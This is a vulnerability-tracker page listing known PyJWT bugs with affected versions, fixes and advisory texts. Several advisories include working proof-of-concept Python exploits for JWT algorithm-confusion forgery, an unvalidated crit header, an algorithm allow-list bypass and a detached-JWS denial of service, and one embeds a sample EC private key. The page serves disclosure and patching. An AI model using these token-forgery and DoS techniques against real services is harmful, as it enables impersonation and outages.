19 known bugs in PyJWT, with affected versions, fixes and workarounds. Sourced from upstream issue trackers.
| Severity | Affected | Fixed in | Title | Status | Source |
|---|
| high | any | 2.13.0 | PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed > [!NOTE]
> Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[…]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating.
### Summary
When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.
### Details
In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.
In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:
`jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) `
An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm.
The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.
If we look on current protections implemented in the library, at class HMACAlgorithm:
```
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
return key_bytes
```
We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.
In The following example:
`jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) `
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.
The bypass happens only if the verifier:
(a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.
### PoC
Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')
```
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
# Attacker-crafted token: flip to HS256 and choose claims
header = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload
# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()
# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
```
### Impact
Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass). | fixed | osv:GHSA-xgmm-8j9v-c9wx |
| high | any | 1.5.1 | PyJWT vulnerable to key confusion attacks In PyJWT 1.5.0 and below the `invalid_strings` check in `HMACAlgorithm.prepare_key` does not account for all PEM encoded public keys. Specifically, the PKCS1 PEM encoded format would be allowed because it is prefaced with the string `-----BEGIN RSA PUBLIC KEY-----` which is not accounted for. This enables symmetric/asymmetric key confusion attacks against users using the PKCS1 PEM encoded public keys, which would allow an attacker to craft JWTs from scratch. | fixed | osv:GHSA-r9jw-mwhq-wp62 |
| high | 1.5.0 | 2.4.0 | Key confusion through non-blocklisted public key formats ### Impact
_What kind of vulnerability is it? Who is impacted?_
Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).
> PyJWT supports multiple different JWT signing algorithms. With JWT, an
> attacker submitting the JWT token can choose the used signing algorithm.
>
> The PyJWT library requires that the application chooses what algorithms
> are supported. The application can specify
> "jwt.algorithms.get_default_algorithms()" to get support for all
> algorithms. They can also specify a single one of them (which is the
> usual use case if calling jwt.decode directly. However, if calling
> jwt.decode in a helper function, all algorithms might be enabled.)
>
> For example, if the user chooses "none" algorithm and the JWT checker
> supports that, there will be no signature checking. This is a common
> security issue with some JWT implementations.
>
> PyJWT combats this by requiring that the if the "none" algorithm is
> used, the key has to be empty. As the key is given by the application
> running the checker, attacker cannot force "none" cipher to be used.
>
> Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is
> not a public key meant for asymmetric algorithm i.e. HMAC cannot be used
> if the key begins with "ssh-rsa". If HMAC is used with a public key, the
> attacker can just use the publicly known public key to sign the token
> and the checker would use the same key to verify.
>
> From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm.
> With ed25519, PyJWT supports public keys that start with "ssh-", for
> example "ssh-ed25519".
```python
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519
# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()
# Get private key bytes as they would be stored in a file
priv_key_bytes =
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption())
# Get public key bytes as they would be stored in a file
pub_key_bytes =
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)
# Making a good jwt token that should work by signing it with the
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")
# Using HMAC with the public key to trick the receiver to think that the
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
print("POC Successfull")
# Of course the receiver should specify ed25519 algorithm to be used if
they specify ed25519 public key. However, if other algorithms are used,
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
# invalid_strings = [
# b"-----BEGIN PUBLIC KEY-----",
# b"-----BEGIN CERTIFICATE-----",
# b"-----BEGIN RSA PUBLIC KEY-----",
# b"ssh-rsa",
# ]
#
# However, OKPAlgorithm (ed25519) accepts the following in
jwt/algorithms.py:
#
# if "-----BEGIN PUBLIC" in str_key:
# return load_pem_public_key(key)
# if "-----BEGIN PRIVATE" in str_key:
# return load_pem_private_key(key, password=None)
# if str_key[0:4] == "ssh-":
# return load_ssh_public_key(key)
#
# These should most likely made to match each other to prevent this behavior
```
```python
import jwt
#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem
#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub
priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""
pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""
ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""
# Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")
# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
print("POC Successfull")
else:
print("POC Failed")
```
> The issue is not that big as
> algorithms=jwt.algorithms.get_default_algorithms() has to be used.
> However, with quick googling, this seems to be used in some cases at
> least in some minor projects.
### Patches
Users should upgrade to v2.4.0.
### Workarounds
Always be explicit with the algorithms that are accepted and expected when decoding.
### References
_Are there any links users can visit to find out more?_
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/jpadilla/pyjwt
* Email José Padilla: pyjwt at jpadilla dot com
| fixed | osv:GHSA-ffqj-6fqr-9h24 |
| high | any | 2.12.0 | PyJWT accepts unknown `crit` header extensions ## Summary
PyJWT does not validate the `crit` (Critical) Header Parameter defined in
RFC 7515 §4.1.11. When a JWS token contains a `crit` array listing
extensions that PyJWT does not understand, the library accepts the token
instead of rejecting it. This violates the **MUST** requirement in the RFC.
This is the same class of vulnerability as CVE-2025-59420 (Authlib),
which received CVSS 7.5 (HIGH).
---
## RFC Requirement
RFC 7515 §4.1.11:
> The "crit" (Critical) Header Parameter indicates that extensions to this
> specification and/or [JWA] are being used that **MUST** be understood and
> processed. [...] If any of the listed extension Header Parameters are
> **not understood and supported** by the recipient, then the **JWS is invalid**.
---
## Proof of Concept
```python
import jwt # PyJWT 2.8.0
import hmac, hashlib, base64, json
# Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"
# Should REJECT — x-custom-policy is not understood by PyJWT
try:
result = jwt.decode(token, "secret", algorithms=["HS256"])
print(f"ACCEPTED: {result}")
# Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
print(f"REJECTED: {e}")
```
**Expected:** `jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy`
**Actual:** Token accepted, payload returned.
### Comparison with RFC-compliant library
```python
# jwcrypto — correctly rejects
from jwcrypto import jwt as jw_jwt, jwk
key = jwk.JWK(kty="oct", k=b64url(b"secret"))
jw_jwt.JWT(jwt=token, key=key, algs=["HS256"])
# raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')
```
---
## Impact
- **Split-brain verification** in mixed-library deployments (e.g., API
gateway using jwcrypto rejects, backend using PyJWT accepts)
- **Security policy bypass** when `crit` carries enforcement semantics
(MFA, token binding, scope restrictions)
- **Token binding bypass** — RFC 7800 `cnf` (Proof-of-Possession) can be
silently ignored
- See CVE-2025-59420 for full impact analysis
---
## Suggested Fix
In `jwt/api_jwt.py`, add validation in `_validate_headers()` or
`decode()`:
```python
_SUPPORTED_CRIT = {"b64"} # Add extensions PyJWT actually supports
def _validate_crit(self, headers: dict) -> None:
crit = headers.get("crit")
if crit is None:
return
if not isinstance(crit, list) or len(crit) == 0:
raise InvalidTokenError("crit must be a non-empty array")
for ext in crit:
if ext not in self._SUPPORTED_CRIT:
raise InvalidTokenError(f"Unsupported critical extension: {ext}")
if ext not in headers:
raise InvalidTokenError(f"Critical extension {ext} not in header")
```
---
## CWE
- CWE-345: Insufficient Verification of Data Authenticity
- CWE-863: Incorrect Authorization
## References
- [RFC 7515 §4.1.11](https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11)
- [CVE-2025-59420 — Authlib crit bypass (CVSS 7.5)](https://osv.dev/vulnerability/GHSA-9ggr-2464-2j32)
- [RFC 7800 — Proof-of-Possession Key Semantics](https://www.rfc-editor.org/rfc/rfc7800) | fixed | osv:GHSA-752w-5fwx-jx9f |
| medium | 2.10.0 | 2.10.1 | PyJWT Issuer field partial matches allowed ### Summary
The wrong string if check is run for `iss` checking, resulting in `"acb"` being accepted for `"_abc_"`.
### Details
This is a bug introduced in version [2.10.0](https://github.com/jpadilla/pyjwt/commit/1570e708672aa9036bc772476beae8bfa48f4131#diff-6893ad4a1c5a36b8af3028db8c8bc3b62418149843fc382faf901eaab008e380R366): checking the "iss" claim
changed from `isinstance(issuer, list)` to `isinstance(issuer,
Sequence)`.
```diff
- if isinstance(issuer, list):
+ if isinstance(issuer, Sequence):
if payload["iss"] not in issuer:
raise InvalidIssuerError("Invalid issuer")
else:
```
Since str is a Sequnce, but not a list, `in` is also used for string
comparison. This results in `if "abc" not in "__abcd__":` being
checked instead of `if "abc" != "__abc__":`.
### PoC
Check out the unit tests added here: https://github.com/jpadilla/pyjwt-ghsa-75c5-xw7c-p5pm
```python
issuer = "urn:expected"
payload = {"iss": "urn:"}
token = jwt.encode(payload, "secret")
# decode() succeeds, even though `"urn:" != "urn:expected". No exception is raised.
with pytest.raises(InvalidIssuerError):
jwt.decode(token, "secret", issuer=issuer, algorithms=["HS256"])
```
### Impact
I would say the real world impact is not that high, seeing as the signature still has to match. We should still fix it.
| fixed | osv:PYSEC-2026-1814 |
| medium | any | 2.13.0 | PYSEC-2026-179: advisory PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0. | fixed | osv:PYSEC-2026-179 |
| medium | 2.8.0 | 2.13.0 | PYSEC-2026-178: advisory PyJWT is a JSON Web Token implementation in Python. From 2.8.0 to 2.12.1, when verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules. For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid. This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT. This vulnerability is fixed in 2.13.0. | fixed | osv:PYSEC-2026-178 |
| medium | any | 2.13.0 | PYSEC-2026-177: advisory PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests. The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. This vulnerability is fixed in 2.13.0. | fixed | osv:PYSEC-2026-177 |
| medium | 2.9.0 | 2.12.1 | PYSEC-2026-176: advisory PyJWT is a JSON Web Token implementation in Python. From 2.9.0 to 2.12.1, there is a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow. This vulnerability is fixed in 2.13.0. | fixed | osv:PYSEC-2026-176 |
| medium | any | 2.13.0 | PYSEC-2026-175: advisory PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0. | fixed | osv:PYSEC-2026-175 |
| medium | any | 2.12.0 | PYSEC-2026-120: advisory PyJWT is a JSON Web Token implementation in Python. Prior to 2.12.0, PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC. This vulnerability is fixed in 2.12.0. | fixed | osv:PYSEC-2026-120 |
| medium | any | \u2014 | PYSEC-2025-183: advisory pyjwt v2.10.1 was discovered to contain weak encryption. NOTE: this is disputed by the Supplier because the key length is chosen by the application that uses the library (admittedly, library users may benefit from a minimum value and a mechanism for opting in to strict enforcement). | open | osv:PYSEC-2025-183 |
| medium | 2.8.0 | 2.13.0 | PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS > [!NOTE]
> Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.
When verifying detached JWS tokens using the unencoded-payload option (`"b64": false`, RFC 7797), PyJWT performs **Base64URL decoding of the compact-serialization payload segment** *before* enforcing the detached-payload rules.
For `b64=false`, PyJWT later **discards** that decoded payload and replaces it with the caller-provided `detached_payload`. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces **CPU work + memory allocations** even if the signature is invalid.
This creates an **unauthenticated DoS** vector against any endpoint that verifies detached JWS using PyJWT.
---
## Affected Component(s)
* `jwt/api_jws.py`
* `PyJWS.decode()` / `PyJWS.decode_complete()`
* `_load()` (parsing and Base64URL decoding)
---
## Root Cause (exact logic flaw)
### What happens in the code
In `jwt/api_jws.py`, `decode_complete()` does the following (order matters):
* Calls `_load(jwt)` first, which decodes the token segments
* Only after that, checks `header.get("b64")` and if `False`, it replaces `payload = detached_payload` and rebuilds the signing input
This behavior is visible in `decode_complete()`:
* `_load(jwt)` happens **before** the `b64=false` handling
* then `payload = detached_payload` and `signing_input = ... detached_payload` happens afterward ([GitHub][1])
Inside `_load()`, PyJWT unconditionally performs:
* `payload = base64url_decode(payload_segment)`
This is the expensive step the attacker can amplify ([GitHub][1])
### Why this becomes a vulnerability
For `b64=false` detached JWS, the payload segment in compact form is effectively **not needed** for verification in PyJWT’s own logic (since the library uses `detached_payload` as the real payload). Yet PyJWT still decodes it first, meaning:
* cost is paid **even when signature is invalid**
* the decoded bytes are **discarded**
* attacker controls the size of this cost via token length
---
## Impact (evidence-driven)
### Security impact
* **Unauthenticated remote DoS**: decoding work happens before signature rejection → attacker does not need signing key.
* **CPU amplification**: Base64URL decode time scales linearly with payload segment size.
* **Memory amplification**: decoded output allocates large byte buffers (tens of MB per request).
* **Operational impact**: request queueing / worker starvation under modest concurrency bursts.
### Standards context (RFC 7797)
RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2])
(PyJWT supports `crit` validation, but the issue here is decode order / unbounded decode of an unused segment.)
---
## Affected Versions
* **Confirmed affected:** PyJWT **2.12.1** (tested from your local editable install and repo).
* **Likely affected:** all versions that include detached payload support for JWS decoding, which was introduced in **2.4.0** (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])
(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)
---
# Threat Model
### Typical real deployment
A service verifies signed HTTP requests or webhooks using detached JWS:
* token is provided in JSON body / query / header
* actual payload is the HTTP request body passed as `detached_payload`
### Attacker
* remote unauthenticated client
* can send requests to verify endpoint
* does **not** need a valid signature (invalid signature still triggers the expensive decode path)
### Attack chain
1. Attacker crafts a JWS compact token with header containing `"b64": false` and `crit:["b64"]`.
2. Attacker inflates the **payload segment** (middle segment) to millions of Base64URL characters.
3. Server calls `PyJWS.decode(...detached_payload=...)`.
4. PyJWT decodes the inflated segment (CPU + memory).
5. Signature is rejected afterward (401) — but resources already consumed.
6. Repeated requests or bursts cause queueing/worker starvation → DoS.
---
# Proof of Concept - file names + results
## PoC placement
* [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)
* [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)
* [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py)
---
## PoC # 1 - Localhost verification server
**File:** [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)
**Purpose:** real HTTP endpoint (`POST /verify`) that calls PyJWT detached verification and prints:
`ok / time_ms / peak_bytes / token_len / error`.
### Results (server console output)
```text
[+] Listening on http://127.0.0.1:8000
[+] POST /verify JSON: {"token": "..."}
[127.0.0.1] ok=True time_ms=0.102 peak_bytes=2624 token_len=117 err=None
[127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983 token_len=500078 err=InvalidSignatureError
[127.0.0.1] ok=True time_ms=1.591 peak_bytes=2001061 token_len=500117 err=None
[127.0.0.1] ok=True time_ms=0.065 peak_bytes=2304 token_len=117 err=None
[127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983 token_len=2000078 err=InvalidSignatureError
[127.0.0.1] ok=True time_ms=6.347 peak_bytes=8001061 token_len=2000117 err=None
[127.0.0.1] ok=True time_ms=0.066 peak_bytes=2304 token_len=117 err=None
[127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError
[127.0.0.1] ok=True time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None
```
**Key takeaways from these results**
* At **8,000,000 chars**, a single invalid-signature request still causes:
* **~23 ms** server work
* **~32 MB** peak allocations
* returns **401** (invalid signature) → attacker does not need key.
---
## PoC # 2 - Localhost network client
**File:** [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)
**Purpose:** generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.
### Results (client output)
#### payload-chars = 500,000
```text
=== BASELINE (valid b64=false token) ===
HTTP: 200
client_wall_ms: 6.3499...
server_time_ms: 0.10197...
server_peak_bytes: 2624
=== ATTACK (INVALID signature - attacker needs no key) ===
HTTP: 401
client_wall_ms: 4.1010...
server_time_ms: 2.01217...
server_peak_bytes: 2000983
error: InvalidSignatureError
=== ATTACK (VALID signature - accepted path still wastes) ===
HTTP: 200
client_wall_ms: 3.6586...
server_time_ms: 1.59092...
server_peak_bytes: 2001061
```
#### payload-chars = 2,000,000
```text
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06527...
server_peak_bytes: 2304
=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 7.53430...
server_peak_bytes: 8000983
=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 6.34682...
server_peak_bytes: 8001061
```
#### payload-chars = 8,000,000
```text
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06573...
server_peak_bytes: 2304
=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 23.03403...
server_peak_bytes: 32000983
=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 22.09702...
server_peak_bytes: 32001061
```
**Why this is strong evidence**
* The server clearly does heavy work **before** rejecting invalid signatures.
* The “valid signature” case shows even accepted requests waste resources due to unused payload segment.
---
## PoC # 3 - Localhost flood / burst concurrency
**File:** [f | fixed | osv:GHSA-w7vc-732c-9m39 |
| medium | 2.9.0 | 2.13.0 | PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys > [!NOTE]
> Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.
PyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.
### Summary
PyJWT's `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.
In affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller's `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.
This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.
### Details
In `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:
```python
if algorithms is None and isinstance(key, PyJWK):
algorithms = [key.algorithm_name]
...
if not alg or (algorithms is not None and alg not in algorithms):
raise InvalidAlgorithmError("The specified alg value is not allowed")
if isinstance(key, PyJWK):
alg_obj = key.Algorithm
prepared_key = key.key
else:
alg_obj = self.get_algorithm_by_name(alg)
prepared_key = alg_obj.prepare_key(key)
```
This logic means:
1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.
2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.
3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.
`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK's `alg` field or from key-type defaults:
```python
if not algorithm and isinstance(self._jwk_data, dict):
algorithm = self._jwk_data.get("alg", None)
...
self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)
```
So once a `PyJWK` is constructed, the verifier uses the `PyJWK`'s bound algorithm, not the JWT header algorithm.
The issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:
```python
signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
token,
signing_key,
audience="https://expenses-api",
options={"verify_exp": False},
algorithms=["RS256"],
)
```
`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.
This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:
- self-service OAuth client assertions
- multi-tenant key registration
- federation / BYO-JWKS trust models
- any system where external parties sign JWTs with their own registered keys
In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.
The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.
This behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.
### PoC
Tested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.
Install dependencies:
```bash
python -m pip install pyjwt==2.12.1 cryptography
```
Run the following script:
```python
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode
# Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
# Build a PyJWK from the public key.
# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))
# Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}
header_b64 = base64url_encode(
json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])
# Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()
print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))
print("PEM path:")
try:
print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
print(f"{type(e).__name__}: {e}")
```
Observed output:
```text
PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed
```
The token is accepted when the verification key is a `PyJWK`, even though:
- the caller restricted allowed algorithms to `["RS512"]`
- the signature was actually generated with `RS256`
The same token is rejected when verified through the normal PEM/public-key path.
### Impact
This is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.
The impact depends on the deployment model:
- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
- If attackers can legitimately control a registered key, this is exploitable.
Impacted deployments include:
- JWT client assertion flows where each client uses its own key
- multitenant systems where tenants register JWK/JWKS material
- federation-style trust models
- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys
What an attacker can do:
- bypass a server-side requirement such as "only `PS256`" or "only `RS512`"
